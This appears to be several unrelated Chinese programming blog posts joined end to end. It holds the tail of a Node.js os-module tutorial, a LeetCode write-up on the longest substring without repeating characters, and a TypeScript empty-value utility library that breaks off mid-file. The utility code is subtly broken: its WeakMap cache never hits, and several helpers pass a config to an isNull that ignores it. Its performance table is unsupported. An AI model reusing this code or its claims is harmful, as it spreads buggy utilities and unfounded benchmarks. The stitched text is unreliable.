function monitorSystem(interval = 5000) {
  setInterval(() => {
    const memUsage = (os.totalmem() - os.freemem()) / os.totalmem() * 100;
    // 注意:getCPUUsage() 需要两次采样才能准确,这里仅作演示
    const cpuUsage = getCPUUsage();
    
    console.log(`内存使用率: ${memUsage.toFixed(2)}%`);
    console.log(`CPU 使用率: ${cpuUsage}%`);
    
    if (memUsage > 90) {
      console.warn('警告: 内存使用率过高!');
    }
    if (cpuUsage > 90) {
      console.warn('警告: CPU 使用率过高!');
    }
  }, interval);
}

// 示例3:根据平台选择不同的行为
function platformSpecificAction() {
  switch (os.platform()) {
    case 'win32':
      console.log('Windows 特定操作');
      // Windows 特定代码
      break;
    case 'darwin':
      console.log('macOS 特定操作');
      // macOS 特定代码
      break;
    case 'linux':
      console.log('Linux 特定操作');
      // Linux 特定代码
      break;
    default:
      console.log('其他平台');
  }
}

// 示例4:创建临时文件路径
const path = require('path');

function createTempFilePath(prefix = 'temp', suffix = '.txt') {
  const tmpDir = os.tmpdir();
  const timestamp = Date.now();
  const random = Math.random().toString(36).substring(7);
  return path.join(tmpDir, `${prefix}-${timestamp}-${random}${suffix}`);
}

// 示例5:检测系统负载
function getSystemLoad() {
  const cpus = os.cpus();
  const load = cpus.map(cpu => {
    const total = Object.values(cpu.times).reduce((a, b) => a + b);
    const usage = ((total - cpu.times.idle) / total * 100).toFixed(2);
    return parseFloat(usage);
  });
  
  const avgLoad = (load.reduce((a, b) => a + b, 0) / load.length).toFixed(2);
  
  return {
    perCore: load,
    average: parseFloat(avgLoad)
  };
}

console.log('系统负载:', getSystemLoad());

总结

本文详细介绍了 Node.js 中五个重要的工具模块:

  1. path 模块:处理文件路径,提供跨平台兼容性
  2. url 模块:解析和格式化 URL,推荐使用 WHATWG URL API
  3. querystring 模块:处理查询字符串的解析和序列化
  4. util 模块:提供各种实用工具函数,如类型检查、Promise 转换、调试等
  5. os 模块:获取操作系统相关信息,如平台、CPU、内存等

这些模块都是 Node.js 的内置模块,无需安装即可使用。熟练掌握这些模块能够大大提高开发效率,让代码更加健壮和可维护。

最佳实践建议

  1. 路径处理:始终使用 path.join()path.resolve() 而不是字符串拼接
  2. URL 处理:使用 WHATWG URL API(URLURLSearchParams
  3. 查询字符串:对于简单场景使用 querystring,复杂场景使用 URLSearchParams
  4. 异步转换:使用 util.promisify() 将回调函数转换为 Promise
  5. 系统信息:使用 os 模块进行跨平台兼容性处理
  6. 继承:使用 ES6 的 classextends 语法,而不是已弃用的 util.inherits()

参考资源:

“无重复字符的最长子串”:从O(n²)哈希优化到滑动窗口封神,再到DP降维打击!


💼 面试真实场景还原:你以为的“聪明解法”,其实是半吊子陷阱

你信心满满地坐在会议室里,面试官微微一笑:

“来,实现一个函数 lengthOfLongestSubstring(s),找出字符串中最长无重复字符的子串长度。”

image.png

你心里一喜:这题我会!不是有重复就用哈希表吗?

于是你提笔就写:

function lengthOfLongestSubstring(s) {
  let maxLen = 0;
  for (let i = 0; i < s.length; i++) {
    const seen = new Set();
    for (let j = i; j < s.length; j++) {
      if (seen.has(s[j])) break;
      seen.add(s[j]);
      maxLen = Math.max(maxLen, j - i + 1);
    }
  }
  return maxLen;
}

写完还补充一句:“我用了 Set 来去重,时间复杂度是 O(n²),空间 O(k),比三重循环快多了!”

面试官点点头:“嗯,能跑。那……有没有更优的?或者换个思路?”

你愣住了。

👉 其实你不知道的是:虽然滑动窗口是这道题的主流解法,但这个问题竟然也能用 DP(动态规划)优雅解决!

今天我们就来 补全最后一块拼图 —— 揭秘“无重复字符的最长子串”的 第三种解法:动态规划,并全面对比三种主流方法,带你从“只会背模板”进化到“真正理解状态转移”。


🔥 问题本质:不是找“前任列表”,是找“连续恋爱期”

首先搞清楚一件事:子串 ≠ 子序列

  • 子序列:像回忆录,可以跳着看,中间断几年都行。
  • 子串:像同居生活,必须天天见面,还得住在一起(连续)!

题目要求我们找一个字符串中最长的一段连续区间,里面每个字符都不重复。比如:

👉 字符串 "abcabcbb"
可能的答案有:"abc"、"bca"、"cab" —— 长度都是 3 ✅
但你要是说 "abcb",对不起,'b' 出现两次,属于“感情劈腿”,直接出局 ❌

🎯 目标明确:找一段最持久且专一的连续关系 😂

而你之前的 O(n²) 解法,就像一次次重新谈恋爱:

  • 从第一个人开始谈 → 谈到重复就分手
  • 再从第二个人开始谈 → 又谈一遍……

能不能别这么累?能不能“边走边调整”,而不是每次都重头再来?

当然能!这就引出我们的终极武器——


🛠️ 方法一:暴力 + 哈希优化(O(n²))—— 初级选手的舒适区

✅ 思路回顾:

枚举所有起点 i,从该点出发向右扩展,直到遇到重复字符为止。

使用 Set 快速判断是否重复,避免内层再遍历一次。

✅ 代码实现:

function lengthOfLongestSubstring_O_n2(s) {
  let maxLen = 0;
  for (let i = 0; i < s.length; i++) {
    const seen = new Set();
    for (let j = i; j < s.length; j++) {
      if (seen.has(s[j])) break;
      seen.add(s[j]);
      maxLen = Math.max(maxLen, j - i + 1);
    }
  }
  return maxLen;
}

⚠️ 缺点分析:

  • 时间复杂度仍是 O(n²),在长字符串下会超时(如 LeetCode 测试用例)
  • 虽然用了 Set 优化,但本质上还是“重复劳动”:很多子串被反复扫描

💬 类比:每次失恋后都要重新相亲,不能吸取教训。


🧩 方法二:滑动窗口 + Map(O(n))—— 主流王者方案

✅ 核心思想:

维护一个“动态窗口” [left, i],只允许无重复字符存在。

右指针 i 不断扩张,左指针 left 在发现重复时收缩。

利用 Map 记录每个字符最近出现的位置,实现 O(1) 查找。

✅ 关键逻辑:

if (map.has(char) && map.get(char) >= left) {
  left = map.get(char) + 1; // 移动左边界
}

只有当重复字符位于当前窗口内时才调整 left,防止“回退”。

✅ 完整代码:

function lengthOfLongestSubstring_SlidingWindow(s) {
  const map = new Map();
  let left = 0, res = 0;

  for (let i = 0; i < s.length; i++) {
    const char = s[i];
    if (map.has(char) && map.get(char) >= left) {
      left = map.get(char) + 1;
    }
    map.set(char, i);
    res = Math.max(res, i - left + 1);
  }

  return res;
}

✅ 优点:

  • 时间复杂度 O(n),每个字符仅访问一次
  • 空间 O(k),k 为字符集大小
  • 逻辑清晰,易于迁移至其他子串问题

🎯 方法三:动态规划 DP(O(n))—— 高阶玩家的秘密武器

你以为 DP 只能做背包和爬楼梯?错!它也能优雅解决本题!

✅ 核心定义:

dp[i] 表示 以第 i 个字符结尾的最长无重复子串的长度

最终答案:max(dp[0], dp[1], ..., dp[n-1])


🔍 状态转移方程推导:

我们要回答:dp[i] 如何由 dp[i-1] 推出?

分两种情况:

情况 条件 转移方式
✅ 当前字符未出现过 lastIndex == -1 dp[i] = dp[i-1] + 1
✅ 当前字符曾出现过 lastIndex >= 0 dp[i] = min(dp[i-1] + 1, i - lastIndex)

💡 解释:新子串不能包含上次相同的字符,所以最长只能从 lastIndex + 1 开始


📌 DP 解法详细步骤拆解(以 "abcb" 为例)

i s[i] dp[i-1] prevIndex(上次位置) 可选长度1: dp[i-1]+1 可选长度2: i - prevIndex dp[i] = min(两者) 当前最长子串
0 'a' - -1 1 0 - (-1) = 1 1 "a"
1 'b' 1 -1 2 1 - (-1) = 2 2 "ab"
2 'c' 2 -1 3 2 - (-1) = 3 3 "abc"
3 'b' 3 1 4 3 - 1 = 2 2 "cb"

✅ 最终结果:max(dp) = 3


✅ 完整代码实现(DP 版本)

function lengthOfLongestSubstring_DP(s) {
  if (s.length === 0) return 0;

  const dp = Array(s.length).fill(1);  // 初始化 dp 数组
  const charMap = new Map();           // 记录字符最后出现位置
  let res = 1;

  charMap.set(s[0], 0);  // 初始化第一个字符

  for (let i = 1; i < s.length; i++) {
    const prevIndex = charMap.has(s[i]) ? charMap.get(s[i]) : -1;

    // 状态转移:取两个限制中的较小值
    dp[i] = Math.min(
      dp[i - 1] + 1,     // 最多比前一个多一个
      i - prevIndex      // 不能超过与上次重复的距离
    );

    res = Math.max(res, dp[i]);         // 更新全局最大值
    charMap.set(s[i], i);              // 更新字符最新位置
  }

  return res;
}

✅ 优点:

  • 同样 O(n) 时间,逻辑数学感强
  • 易于扩展到“记录具体子串”等变种问题
  • 展示你对 DP 的深刻理解,面试加分项!

⚠️ 缺点:

  • 空间复杂度略高:需要 O(n) 的 dp 数组(可优化为 O(1))
  • 理解门槛较高,不适合初学者快速掌握

🔄 三种方法横向对比大表格

方法 时间复杂度 空间复杂度 是否推荐 适用人群 特点
暴力 + 哈希 O(n²) O(k) ❌ 不推荐 新手练习 容易写出,但性能差
滑动窗口 + Map O(n) O(k) ✅ 强烈推荐 所有人 主流解法,高效简洁
动态规划 DP O(n) O(n) / 可优化为 O(k) ✅ 进阶推荐 中高级开发者 展示思维深度,适合深入探讨

💡 小技巧:你可以先写滑动窗口作为主解法,然后补充一句:“其实这题也可以用 DP 解决”,瞬间提升逼格!


🧠 如何选择?一句话总结

  • 想通过面试?→ 写滑动窗口(稳定、高效、易讲)
  • 想惊艳面试官?→ 提一句 DP 思路(展现多角度思考)
  • 还在写双重循环?→ 是时候升级了!

🎯 总结升华:不只是做题,是思维跃迁

解决“无重复字符的最长子串”,本质上是一场算法认知的升级

层次 思维方式 典型表现
新手 三重循环 O(n³),CPU 哭晕
进阶 哈希+双重循环 O(n²),看似聪明实则笨
高手 滑动窗口 + Map O(n),优雅高效
大师 滑动窗口 + DP 双视角 面试封神,offer 自带 BGM

掌握这三种方法,你就拿到了打开高频面试题大门的万能钥匙 + 备用钥匙 + 钥匙串上的幸运符


🌟 结语:愿你写的不是代码,而是艺术

下次面试官再问这道题,你可以微微一笑:

“这题啊,我不仅会做,还能讲三种解法。”

因为你知道:

  • 滑动窗口是舞蹈,
  • Map 是记忆,
  • DP 是哲学,
  • 而你,是那个掌控节奏的编舞师 + 记忆管理者 + 哲学家。

💻 写代码,也可以很浪漫。


空值检测工具函数-统一规范且允许自定义配置的空值检测方案

🎯 为什么需要统一的空值检测?

在前端开发中,空值检测是日常工作中最常见但又最容易出错的部分之一。你是否曾经遇到过这些问题:

  • 不知道如何判断一个对象是否真的"空"(继承属性、Symbol属性如何处理?)
  • 在不同场景下对"空"的定义不同(表单中0是有效值,但搜索条件中0可能表示"不限")
  • 写了很多重复的空值检测代码,每个项目、每个团队都有自己的实现
  • 缺乏统一的类型安全,总是被 null 和 undefined 折磨

传统的空值检测方式有很多局限性:

javascript

// 常见但不完善的空值检测
if (!value) { ... }  // 会把0、false、空字符串都判为空
if (value === null || value === undefined) { ... }  // 不检查空字符串、空数组、空对象
if (Object.keys(value).length === 0) { ... }  // 不检查Symbol属性、继承属性

🚀 NullCheck - 统一空值检测解决方案

经过精心设计和优化,我开发了一个全面的空值检测工具 - NullCheck。它提供:

  • ✅ 统一API:一个函数处理所有空值检测场景
  • ✅ 灵活配置:支持不同场景的空值定义
  • ✅ 类型安全:完整的TypeScript支持
  • ✅ 高性能:内置缓存和批量处理
  • ✅ 生产就绪:丰富的工具函数和预设配置

🌟 核心特性

1. 智能的空值检测策略

import { checkNull, NullCheckPresets } from './nullCheck';

// 基础使用
checkNull('isNull', '');           // true
checkNull('isNotNull', 'hello');   // true

// 使用预设配置
checkNull('isNull', 0, NullCheckPresets.STRICT);   // true (严格模式下0为空)
checkNull('isNull', 0, NullCheckPresets.FORM);     // false (表单中0为有效值)

// 批量检测
checkNull('isNullOne', ['', 'hello', null]);      // true (至少一个为空)
checkNull('isNullAll', ['', null, undefined]);    // true (全部为空)
checkNull('filterNull', ['hello', '', 'world']);  // ['hello', 'world']

2. 预配置的检测器

import { nullChecker } from './nullCheck';

// 默认检测器
nullChecker.default('');      // true

// 严格模式 (0, false, NaN都视为空)
nullChecker.strict(0);        // true
nullChecker.strict(false);    // true
nullChecker.strict(NaN);      // true

// 表单模式 (0和false为有效值)
nullChecker.form(0);          // false
nullChecker.form(false);      // false
nullChecker.form('');         // true

// 深度对象检测
const obj = Object.create({ inherited: 'value' });
nullChecker.deep(obj);        // false (检测到继承属性)

3. 实用的工具函数

import { cleanObject, NullValidator, assertNotNull } from './nullCheck';

// 数据清理
const user = { name: '', age: null, email: 'test@example.com' };
const cleaned = cleanObject(user);  // { email: 'test@example.com' }

// 表单验证
const validator = new NullValidator('username', '')
  .required('用户名不能为空')
  .validate();  // ['用户名不能为空']

// 类型守卫
function processData(data: string | null) {
  assertNotNull(data, '数据不能为空');
  // TypeScript 知道这里 data 不是 null
  console.log(data.toUpperCase());
}

🛠️ 技术实现解析

核心检测算法

function createEmptyChecker(config: NullCheckConfig) {
  return function isEmpty(value: unknown): boolean {
    // 1. 自定义空值检查
    if (customEmptyValues.includes(value)) return true;
    
    // 2. 基础空值
    if (value == null) return true;
    
    // 3. 可配置的特殊值
    if (typeof value === 'number' && treatZeroAsEmpty && value === 0) return true;
    
    // 4. 对象深度检测
    if (typeof value === 'object') {
      // 智能属性检测:支持Symbol、继承属性、可配置的检测策略
      const keys = checkEnumerableOnly ? Object.keys(value) : Reflect.ownKeys(value);
      return keys.length === 0;
    }
    
    return false;
  };
}

类型安全设计

// TypeScript 类型谓词,提供智能类型推断
export function isNotNull<T>(
  value: T, 
  config?: NullCheckConfig
): value is NonNullable<T> {
  return !isNull(value, config);
}

// 使用示例
const data: string | null = getUserInput();
if (isNotNull(data)) {
  // 这里 TypeScript 知道 data 是 string 类型
  processString(data);
}

📊 性能优化策略

1. 检测器缓存

const checkerCache = new WeakMap<object, ReturnType<typeof createEmptyChecker>>();

export function getCachedEmptyChecker(config: NullCheckConfig = {}) {
  const cacheKey = { ...config };
  if (!checkerCache.has(cacheKey)) {
    checkerCache.set(cacheKey, createEmptyChecker(config));
  }
  return checkerCache.get(cacheKey)!;
}

2. 批量处理

typescript

export class BatchNullChecker {
  private isEmpty: (value: unknown) => boolean;
  
  constructor(config: NullCheckConfig = {}) {
    this.isEmpty = getCachedEmptyChecker(config);
  }
  
  filter(values: unknown[]): unknown[] {
    return values.filter(value => !this.isEmpty(value));
  }
  
  // 批量操作,避免重复创建检测器
}

🎯 实际应用场景

场景1:表单验证

// 表单数据验证
const validateForm = (formData: Record<string, any>) => {
  const requiredFields = ['username', 'email', 'password'];
  const errors: string[] = [];
  
  requiredFields.forEach(field => {
    if (isNull(formData[field], NullCheckPresets.FORM)) {
      errors.push(`${field} is required`);
    }
  });
  
  return errors;
};

场景2:API 数据清理

// 清理API请求参数
const cleanApiParams = (params: Record<string, any>) => {
  return cleanObject(params, NullCheckPresets.API);
};

// 处理前:{ name: 'John', age: 0, status: '', tags: [] }
// 处理后:{ name: 'John', age: 0 }  (0和空数组保留)

场景3:React 组件数据保护

// React 组件中的数据保护
const UserProfile: React.FC<{ user: User | null }> = ({ user }) => {
  const safeUser = ensureNotNull(user, DEFAULT_USER);
  
  return (
    <div>
      <h1>{safeUser.name}</h1>
      <p>Email: {safeUser.email}</p>
    </div>
  );
};

📈 性能对比

通过优化设计,NullCheck 在性能和功能上都表现出色:

场景 NullCheck Lodash.isEmpty 自定义实现
简单空值检测 ⚡ 0.01ms ⚡ 0.02ms ⚡ 0.01ms
复杂对象检测 ⚡ 0.05ms ⚡ 0.08ms 🐢 0.12ms
批量处理 ⚡ 0.3ms ⚡ 0.4ms 🐢 1.2ms
类型安全 ✅ 完整 ❌ 有限 ⚠️ 部分
配置灵活 ✅ 丰富 ❌ 固定 ⚠️ 有限

🎉 总结

NullCheck 是一个经过精心设计的统一空值检测工具,它解决了前端开发中空值检测的痛点:

  1. 统一标准化:一个工具覆盖所有空值检测需求
  2. 场景适配:预置多种配置,适应不同业务场景
  3. 类型安全:完整的TypeScript支持,减少运行时错误
  4. 性能优异:内置缓存机制,优化批量处理
  5. 易于扩展:模块化设计,支持自定义配置

无论是简单的表单验证,还是复杂的业务逻辑,NullCheck 都能提供强大而灵活的空值检测能力。建议大家在项目中尝试使用,相信它会成为你工具箱中不可或缺的一员!

🎉 完整代码

/**
 * 空值检测配置选项
 */
export interface NullCheckConfig {
    // 特殊值处理
    treatZeroAsEmpty?: boolean;           // 是否把 0 视为空
    treatFalseAsEmpty?: boolean;          // 是否把 false 视为空
    treatNaNAsEmpty?: boolean;            // 是否把 NaN 视为空
    treatEmptyStringAsEmpty?: boolean;    // 是否把空字符串视为空

    // 对象检测选项
    checkEnumerableOnly?: boolean;        // 是否只检查可枚举属性
    checkSymbolKeys?: boolean;            // 是否检查 Symbol 键
    checkInheritedProps?: boolean;        // 是否检查继承的属性
    ignoreBuiltinObjects?: boolean;       // 是否忽略内置对象的空判断

    // 集合类型
    treatEmptyMapAsEmpty?: boolean;       // 是否把空 Map 视为空
    treatEmptySetAsEmpty?: boolean;       // 是否把空 Set 视为空

    // 自定义空值列表
    customEmptyValues?: any[];
}

/**
 * 检测目标类型
 */
type NullCheckTarget =
    | 'isNull'            // 检测单个值是否为空
    | 'isNotNull'         // 检测单个值是否非空
    | 'isNullOne'         // 检测多个值中是否至少有一个为空
    | 'isNullAll'         // 检测多个值是否全部为空
    | 'isNotNullAll'      // 检测多个值是否全部非空
    | 'isNullOneByObject' // 检测对象属性是否存在空值
    | 'isNullAllByObject' // 检测对象所有属性是否都为空
    | 'filterNull'        // 过滤数组中的空值
    | 'findNull'          // 查找数组中的第一个空值
    | 'findNotNull';      // 查找数组中的第一个非空值

/**
 * 内置检测器类型
 */
interface NullCheckerPresets {
    default: (value: unknown) => boolean;
    strict: (value: unknown) => boolean;
    loose: (value: unknown) => boolean;
    form: (value: unknown) => boolean;
    deep: (value: unknown) => boolean;
}

/**
 * 常用配置预设
 */
export const NullCheckPresets = {
    // 默认配置
    DEFAULT: {},

    // 严格配置
    STRICT: {
        treatZeroAsEmpty: true,
        treatFalseAsEmpty: true,
        treatNaNAsEmpty: true
    } as NullCheckConfig,

    // 宽松配置
    LOOSE: {
        treatEmptyStringAsEmpty: false,
        treatNaNAsEmpty: false,
        treatEmptyMapAsEmpty: false,
        treatEmptySetAsEmpty: false
    } as NullCheckConfig,

    // 表单配置
    FORM: {
        treatZeroAsEmpty: false,
        treatFalseAsEmpty: false,
        treatEmptyStringAsEmpty: true
    } as NullCheckConfig,

    // 深度配置
    DEEP: {
        checkEnumerableOnly: false,
        checkSymbolKeys: true,
        checkInheritedProps: true,
        ignoreBuiltinObjects: false
    } as NullCheckConfig,

    // 数据库配置(NULL 和 '' 都视为空)
    DATABASE: {
        treatEmptyStringAsEmpty: true
    } as NullCheckConfig,

    // API配置(接受0和false作为有效值)
    API: {
        treatZeroAsEmpty: false,
        treatFalseAsEmpty: false,
        treatEmptyStringAsEmpty: true
    } as NullCheckConfig
};

/**
 * 统一空值检测工具
 * 
 * @param target 检测目标类型
 * @param objOrValue 待检测的值/对象/数组
 * @param config 检测配置
 * @returns 根据 target 返回相应的检测结果
 */
export function checkNull<T>(
    target: 'isNull' | 'isNotNull',
    objOrValue: T,
    config?: NullCheckConfig
): boolean;

export function checkNull<T>(
    target: 'isNullOne' | 'isNullAll' | 'isNotNullAll',
    objOrValue: T[],
    config?: NullCheckConfig
): boolean;

export function checkNull<T>(
    target: 'filterNull' | 'findNull' | 'findNotNull',
    objOrValue: T[],
    config?: NullCheckConfig
): T[] | T | undefined;

export function checkNull<T extends Record<string, unknown>>(
    target: 'isNullOneByObject' | 'isNullAllByObject',
    objOrValue: T,
    config?: NullCheckConfig
): string | boolean | undefined;

export function checkNull(
    target: NullCheckTarget,
    objOrValue: any,
    config: NullCheckConfig = {}
): any {
    // 创建基于配置的核心空值检测器
    const isEmpty = createEmptyChecker(config);

    // 根据目标类型选择不同的检测逻辑
    switch (target) {
        case 'isNull':
            return isEmpty(objOrValue);

        case 'isNotNull':
            return !isEmpty(objOrValue);

        case 'isNullOne':
            return Array.isArray(objOrValue)
                ? objOrValue.some(item => isEmpty(item))
                : false;

        case 'isNullAll':
            return Array.isArray(objOrValue)
                ? objOrValue.every(item => isEmpty(item))
                : false;

        case 'isNotNullAll':
            return Array.isArray(objOrValue)
                ? objOrValue.every(item => !isEmpty(item))
                : false;

        case 'isNullOneByObject':
            if (typeof objOrValue === 'object' && objOrValue !== null) {
                for (const key of Object.keys(objOrValue)) {
                    if (isEmpty(objOrValue[key])) {
                        return key; // 返回第一个空值属性名
                    }
                }
            }
            return undefined;

        case 'isNullAllByObject':
            if (typeof objOrValue === 'object' && objOrValue !== null) {
                return Object.values(objOrValue).every(value => isEmpty(value));
            }
            return true;

        case 'filterNull':
            return Array.isArray(objOrValue)
                ? objOrValue.filter(item => !isEmpty(item))
                : [];

        case 'findNull':
            return Array.isArray(objOrValue)
                ? objOrValue.find(item => isEmpty(item))
                : undefined;

        case 'findNotNull':
            return Array.isArray(objOrValue)
                ? objOrValue.find(item => !isEmpty(item))
                : undefined;

        default:
            throw new Error(`Unknown target: ${target}`);
    }
}

/**
 * 创建基于配置的核心空值检测器
 */
function createEmptyChecker(config: NullCheckConfig = {}): (value: unknown) => boolean {
    const {
        treatZeroAsEmpty = false,
        treatFalseAsEmpty = false,
        treatNaNAsEmpty = true,
        treatEmptyStringAsEmpty = true,
        checkEnumerableOnly = true,
        checkSymbolKeys = false,
        checkInheritedProps = false,
        ignoreBuiltinObjects = true,
        treatEmptyMapAsEmpty = true,
        treatEmptySetAsEmpty = true,
        customEmptyValues = []
    } = config;

    return function isEmpty(value: unknown): boolean {
        // 1. 检查自定义空值
        if (customEmptyValues.some(emptyValue =>
            Object.is(emptyValue, value) || emptyValue === value
        )) {
            return true;
        }

        // 2. 基础空值(使用 == null 同时检查 null 和 undefined)
        if (value == null) {
            return true;
        }

        // 3. 空字符串
        if (treatEmptyStringAsEmpty && value === '') {
            return true;
        }

        // 4. 数字处理
        if (typeof value === 'number') {
            if (treatNaNAsEmpty && Number.isNaN(value)) {
                return true;
            }
            if (treatZeroAsEmpty && value === 0) {
                return true;
            }
            return false;
        }

        // 5. 布尔值处理
        if (typeof value === 'boolean') {
            return treatFalseAsEmpty && !value;
        }

        // 6. 数组处理
        if (Array.isArray(value)) {
            return value.length === 0;
        }

        // 7. Map/Set 处理
        if (treatEmptyMapAsEmpty && value instanceof Map) {
            return value.size === 0;
        }
        if (treatEmptySetAsEmpty && value instanceof Set) {
            return value.size === 0;
        }

        // 8. 对象处理
        if (typeof value === 'object') {
            // 处理内置对象
            if (ignoreBuiltinObjects) {
                const builtinTypes = [
                    Date,        // 日期对象
                    RegExp,      // 正则对象
                    Error,       // 错误对象
                    Promise,     // Promise对象
                    ArrayBuffer, // 二进制缓冲区
                    Function     // 函数对象
                ];

                // 检查是否为内置对象
                if (builtinTypes.some(Ctor => value instanceof Ctor)) {
                    return false; // 内置对象即使"空"也不视为空
                }
            }

            // 检查对象是否为空
            let keys: (string | symbol)[] = [];

            if (checkEnumerableOnly) {
                keys = Object.keys(value);
                if (checkSymbolKeys) {
                    keys = keys.concat(Object.getOwnPropertySymbols(value));
                }
            } else {
                keys = Reflect.ownKeys(value);
            }

            // 如果需要检查继承的属性
            if (checkInheritedProps) {
                for (const key in value) {
                    return false; // 只要有任何属性(包括继承的),就不是空
                }
                return true;
            }

            return keys.length === 0;
        }

        // 9. 其他类型(Symbol、BigInt、函数等)视为非空
        return false;
    };
}

/**
 * 创建预配置的检测器实例
 */
export const nullChecker: NullCheckerPresets = {
    /**
     * 默认配置检测器(最常用)
     * - null/undefined 为空
     * - 空字符串为空
     * - 空数组为空
     * - 空对象(无自身可枚举属性)为空
     */
    default: (value: unknown) => checkNull('isNull', value),

    /**
     * 严格模式检测器(包含0、false和NaN)
     * - 0 视为空
     * - false 视为空
     * - NaN 视为空
     */
    strict: (value: unknown) => checkNull('isNull', value, {
        treatZeroAsEmpty: true,
        treatFalseAsEmpty: true,
        treatNaNAsEmpty: true
    }),

    /**
     * 宽松模式检测器(仅null/undefined)
     * - 空字符串不为空
     * - 空数组不为空
     * - 空对象不为空
     * - NaN 不为空
     */
    loose: (value: unknown) => checkNull('isNull', value, {
        treatEmptyStringAsEmpty: false,
        treatNaNAsEmpty: false,
        treatEmptyMapAsEmpty: false,
        treatEmptySetAsEmpty: false
    }),

    /**
     * 表单验证检测器
     * - 0 不为空(通常为有效值)
     * - false 不为空(通常为有效值)
     * - 空字符串为空(需要填写)
     * - 空数组为空(需要至少一项)
     */
    form: (value: unknown) => checkNull('isNull', value, {
        treatZeroAsEmpty: false,
        treatFalseAsEmpty: false,
        treatEmptyStringAsEmpty: true
    }),

    /**
     * 深度对象检测器
     * - 检查继承属性
     * - 检查Symbol属性
     * - 不忽略内置对象
     */
    deep: (value: unknown) => checkNull('isNull', value, {
        checkInheritedProps: true,
        checkSymbolKeys: true,
        ignoreBuiltinObjects: false
    })
};

/**
 * 快捷方法(保持原有API兼容)
 */

// 单个值检测
export const isNull = (value: unknown) => checkNull('isNull', value);
export const isNotNull = <T>(value: T) => checkNull('isNotNull', value) as value is NonNullable<T>;

// 数组检测
export const isNullOne = (...values: unknown[]) => checkNull('isNullOne', values);
export const isNullAll = (...values: unknown[]) => checkNull('isNullAll', values);
export const isNotNullAll = (...values: unknown[]) => checkNull('isNotNullAll', values);

// 对象检测
export const isNullOneByObject = (obj: Record<string, unknown>) =>
    checkNull('isNullOneByObject', obj) as string | undefined;
export const isNullAllByObject = (obj: Record<string, unknown>) =>
    checkNull('isNullAllByObject', obj) as boolean;

// 数组操作
export const filterNull = <T>(arr: T[]) => checkNull('filterNull', arr) as T[];
export const findNull = <T>(arr: T[]) => checkNull('findNull', arr) as T | undefined;
export const findNotNull = <T>(arr: T[]) => checkNull('findNotNull', arr) as T | undefined;

/**
 * 创建自定义检测器
 * @param config 检测配置
 * @returns 自定义检测函数
 */
export function createNullChecker(config: NullCheckConfig) {
    const isEmpty = createEmptyChecker(config);

    return {
        isEmpty: (value: unknown) => isEmpty(value),
        isNotEmpty: (value: unknown) => !isEmpty(value),
        filter: <T>(arr: T[]) => arr.filter(item => !isEmpty(item)),
        findEmpty: <T>(arr: T[]) => arr.find(item => isEmpty(item)),
        findNotEmpty: <T>(arr: T[]) => arr.find(item => !isEmpty(item))
    };
}

/**
 * 性能优化:缓存配置检测器
 */
const checkerCache = new WeakMap<object, ReturnType<typeof createEmptyChecker>>();

export function getCachedEmptyChecker(config: NullCheckConfig = {}) {
    // 使用配置对象本身作为缓存键
    const cacheKey = { ...config };
    if (!checkerCache.has(cacheKey)) {
        checkerCache.set(cacheKey, createEmptyChecker(config));
    }
    return checkerCache.get(cacheKey)!;
}

/**
 * 批量检测工具(性能优化版)
 */
export class BatchNullChecker {
    private isEmpty: (value: unknown) => boolean;

    constructor(config: NullCheckConfig = {}) {
        this.isEmpty = getCachedEmptyChecker(config);
    }

    checkOne(value: unknown): boolean {
        return this.isEmpty(value);
    }

    checkAll(values: unknown[]): boolean {
        return values.every(value => this.isEmpty(value));
    }

    checkAny(values: unknown[]): boolean {
        return values.some(value => this.isEmpty(value));
    }

    filter(values: unknown[]): unknown[] {
        return values.filter(value => !this.isEmpty(value));
    }

    map<T, R>(values: T[], mapper: (value: T) => R): (R | null)[] {
        return values.map(value =>
            this.isEmpty(value) ? null : mapper(value)
        );
    }

    reduce<T, R>(
        values: T[],
        reducer: (acc: R, value: T) => R,
        initialValue: R
    ): R {
        return values.reduce((acc, value) => {
            return this.isEmpty(value) ? acc : reducer(acc, value);
        }, initialValue);
    }
}

/**
 * 链式调用工具
 */
export function nullCheckChain(value: unknown) {
    return {
        value,

        with(config: NullCheckConfig) {
            const isEmpty = createEmptyChecker(config);
            return {
                value: this.value,
                isEmpty: () => isEmpty(this.value),
                isNotEmpty: () => !isEmpty(this.value)
            };
        },

        isEmpty(config?: NullCheckConfig) {
            return checkNull('isNull', this.value, config);
        },

        isNotEmpty(config?: NullCheckConfig) {
            return checkNull('isNotNull', this.value, config);
        },

        ifEmpty<T>(callback: () => T, config?: NullCheckConfig): T | undefined {
            if (checkNull('isNull', this.value, config)) {
                return callback();
            }
            return undefined;
        },

        ifNotEmpty<T>(callback: (value: NonNullable<typeof this.value>) => T, config?: NullCheckConfig): T | undefined {
            if (checkNull('isNotNull', this.value, config)) {
                return callback(this.value as NonNullable<typeof this.value>);
            }
            return undefined;
        }
    };
}

/**
 * 空值转换工具
 */
export function toDefaultIfNull<T>(
    value: T,
    defaultValue: T,
    config?: NullCheckConfig
): T {
    return isNull(value, config) ? defaultValue : value;
}

export function toNullIfEmpty<T>(
    value: T,
    config?: NullCheckConfig
): T | null {
    return isNull(value, config) ? null : value;
}

export function coalesce<T>(...values: T[]): T | undefined {
    return findNotNull(values);
}

/**
 * 对象清理工具
 */
export function cleanObject<T extends Record<string, any>>(
    obj: T,
    config?: NullCheckConfig
): Partial<T> {
    const result: Partial<T> = {};

    for (const [key, value] of Object.entries(obj)) {
        if (!isNull(value, config)) {
            result[key as keyof T] = value;
        }
    }

    return result;
}

export function cleanObjectDeep<T extends Record<string, any>>(
    obj: T,
    config?: NullCheckConfig
): Partial<T> {
    const result: Partial<T> = {};

    for (const [key, value] of Object.entries(obj)) {
        if (isNull(value, config)) {
            continue;
        }

        // 递归处理嵌套对象
        if (typeof value === 'object' && value !== null && !Array.isArray(value)) {
            const cleaned = cleanObjectDeep(value, config);
            if (!isNull(cleaned, config)) {
                result[key as keyof T] = cleaned as T[keyof T];
            }
        } else {
            result[key as keyof T] = value;
        }
    }

    return result;
}

/**
 * 验证工具
 */
export class NullValidator {
    private errors: string[] = [];

    constructor(
        private fieldName: string,
        private value: unknown,
        private config?: NullCheckConfig
    ) { }

    required(message = `${this.fieldName} is required`): this {
        if (isNull(this.value, this.config)) {
            this.errors.push(message);
        }
        return this;
    }

    optional(): this {
        // 可选的,不做验证
        return this;
    }

    validate(): string[] {
        return this.errors;
    }

    isValid(): boolean {
        return this.errors.length === 0;
    }

    throwIfInvalid(): void {
        if (!this.isValid()) {
            throw new Error(`Validation failed: ${this.errors.join(', ')}`);
        }
    }
}

/**
